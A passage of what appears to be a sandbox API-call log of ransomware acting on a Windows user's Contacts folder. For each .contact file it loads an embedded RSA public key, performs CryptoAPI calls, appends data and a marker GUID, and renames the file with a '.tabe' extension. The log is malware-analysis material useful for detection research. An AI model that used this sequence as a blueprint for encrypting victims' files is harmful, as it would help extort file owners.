HALPmcxz\\Contacts\\Administrator.contact") returned=".contact" [0125.938] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0125.938] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=68382) returned 1 [0125.938] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0125.940] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10af8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.940] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0125.941] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x10b1e, lpOverlapped=0x0) returned 1 [0125.943] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.943] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.943] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.943] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0125.943] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0125.943] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0125.943] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0125.944] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0125.944] GetLastError () returned 0x0 [0125.944] SetLastError (dwErrCode=0x0) [0125.944] GetLastError () returned 0x0 [0125.944] SetLastError (dwErrCode=0x0) [0125.944] GetLastError () returned 0x0 [0125.944] SetLastError (dwErrCode=0x0) [0125.944] GetLastError () returned 0x0 [0125.944] SetLastError (dwErrCode=0x0) [0125.944] GetLastError () returned 0x0 [0125.944] SetLastError (dwErrCode=0x0) [0125.944] GetLastError () returned 0x0 [0125.944] SetLastError (dwErrCode=0x0) [0125.944] GetLastError () returned 0x0 [0125.944] SetLastError (dwErrCode=0x0) [0125.944] GetLastError () returned 0x0 [0125.944] SetLastError (dwErrCode=0x0) [0125.944] GetLastError () returned 0x0 [0125.944] SetLastError (dwErrCode=0x0) [0125.944] GetLastError () returned 0x0 [0125.944] SetLastError (dwErrCode=0x0) [0125.944] GetLastError () returned 0x0 [0125.944] SetLastError (dwErrCode=0x0) [0125.944] GetLastError () returned 0x0 [0125.944] SetLastError (dwErrCode=0x0) [0125.944] GetLastError () returned 0x0 [0125.944] SetLastError (dwErrCode=0x0) [0125.944] GetLastError () returned 0x0 [0125.944] SetLastError (dwErrCode=0x0) [0125.944] GetLastError () returned 0x0 [0125.944] SetLastError (dwErrCode=0x0) [0125.944] GetLastError () returned 0x0 [0125.945] SetLastError (dwErrCode=0x0) [0125.945] CryptDestroyHash (hHash=0x3463888) returned 1 [0125.945] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0125.945] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0125.945] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0125.945] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0125.945] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x840a88, Size=0x218) returned 0x3ae3728 [0125.946] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10b1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.946] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0125.946] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.946] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0125.946] CloseHandle (hObject=0x618) returned 1 [0125.947] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.tabe")) returned 1 [0125.948] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0125.948] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned=".contact" [0125.948] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0125.949] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=1171) returned 1 [0125.949] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0125.950] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x46d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.950] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0125.953] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x493, lpOverlapped=0x0) returned 1 [0125.953] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.953] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.953] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.953] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0125.954] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0125.954] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0125.954] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0125.954] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0125.954] GetLastError () returned 0x0 [0125.954] SetLastError (dwErrCode=0x0) [0125.954] GetLastError () returned 0x0 [0125.954] SetLastError (dwErrCode=0x0) [0125.954] GetLastError () returned 0x0 [0125.954] SetLastError (dwErrCode=0x0) [0125.954] GetLastError () returned 0x0 [0125.954] SetLastError (dwErrCode=0x0) [0125.954] GetLastError () returned 0x0 [0125.954] SetLastError (dwErrCode=0x0) [0125.954] GetLastError () returned 0x0 [0125.954] SetLastError (dwErrCode=0x0) [0125.954] GetLastError () returned 0x0 [0125.954] SetLastError (dwErrCode=0x0) [0125.954] GetLastError () returned 0x0 [0125.954] SetLastError (dwErrCode=0x0) [0125.954] GetLastError () returned 0x0 [0125.954] SetLastError (dwErrCode=0x0) [0125.954] GetLastError () returned 0x0 [0125.954] SetLastError (dwErrCode=0x0) [0125.954] GetLastError () returned 0x0 [0125.954] SetLastError (dwErrCode=0x0) [0125.954] GetLastError () returned 0x0 [0125.954] SetLastError (dwErrCode=0x0) [0125.954] GetLastError () returned 0x0 [0125.954] SetLastError (dwErrCode=0x0) [0125.954] GetLastError () returned 0x0 [0125.955] SetLastError (dwErrCode=0x0) [0125.955] GetLastError () returned 0x0 [0125.955] SetLastError (dwErrCode=0x0) [0125.955] GetLastError () returned 0x0 [0125.955] SetLastError (dwErrCode=0x0) [0125.955] CryptDestroyHash (hHash=0x3463888) returned 1 [0125.955] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0125.955] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0125.955] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0125.955] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0125.955] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x840a88, Size=0x218) returned 0x3afbbd0 [0125.955] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x493, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.955] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0125.955] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.955] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0125.955] CloseHandle (hObject=0x618) returned 1 [0125.956] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.tabe")) returned 1 [0125.957] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0125.957] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned=".contact" [0125.957] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0125.959] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=1177) returned 1 [0125.959] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0125.960] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x473, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.960] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0125.962] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x499, lpOverlapped=0x0) returned 1 [0125.962] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.962] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.962] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.962] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0125.963] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0125.963] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0125.963] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0125.963] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0125.963] GetLastError () returned 0x0 [0125.963] SetLastError (dwErrCode=0x0) [0125.963] GetLastError () returned 0x0 [0125.963] SetLastError (dwErrCode=0x0) [0125.963] GetLastError () returned 0x0 [0125.963] SetLastError (dwErrCode=0x0) [0125.963] GetLastError () returned 0x0 [0125.963] SetLastError (dwErrCode=0x0) [0125.963] GetLastError () returned 0x0 [0125.963] SetLastError (dwErrCode=0x0) [0125.963] GetLastError () returned 0x0 [0125.963] SetLastError (dwErrCode=0x0) [0125.964] GetLastError () returned 0x0 [0125.964] SetLastError (dwErrCode=0x0) [0125.964] GetLastError () returned 0x0 [0125.964] SetLastError (dwErrCode=0x0) [0125.964] GetLastError () returned 0x0 [0125.964] SetLastError (dwErrCode=0x0) [0125.964] GetLastError () returned 0x0 [0125.964] SetLastError (dwErrCode=0x0) [0125.964] GetLastError () returned 0x0 [0125.964] SetLastError (dwErrCode=0x0) [0125.964] GetLastError () returned 0x0 [0125.964] SetLastError (dwErrCode=0x0) [0125.964] GetLastError () returned 0x0 [0125.964] SetLastError (dwErrCode=0x0) [0125.964] GetLastError () returned 0x0 [0125.964] SetLastError (dwErrCode=0x0) [0125.964] GetLastError () returned 0x0 [0125.964] SetLastError (dwErrCode=0x0) [0125.964] GetLastError () returned 0x0 [0125.964] SetLastError (dwErrCode=0x0) [0125.964] CryptDestroyHash (hHash=0x3463888) returned 1 [0125.964] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0125.964] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0125.964] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0125.964] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0125.964] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x840a88, Size=0x218) returned 0x3afbbd0 [0125.965] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x499, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.965] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0125.965] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.965] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0125.965] CloseHandle (hObject=0x618) returned 1 [0125.965] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.tabe")) returned 1 [0125.967] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.967] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini") returned=".ini" [0125.967] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0125.967] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned=".contact" [0125.967] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0125.968] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=1174) returned 1 [0125.968] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, 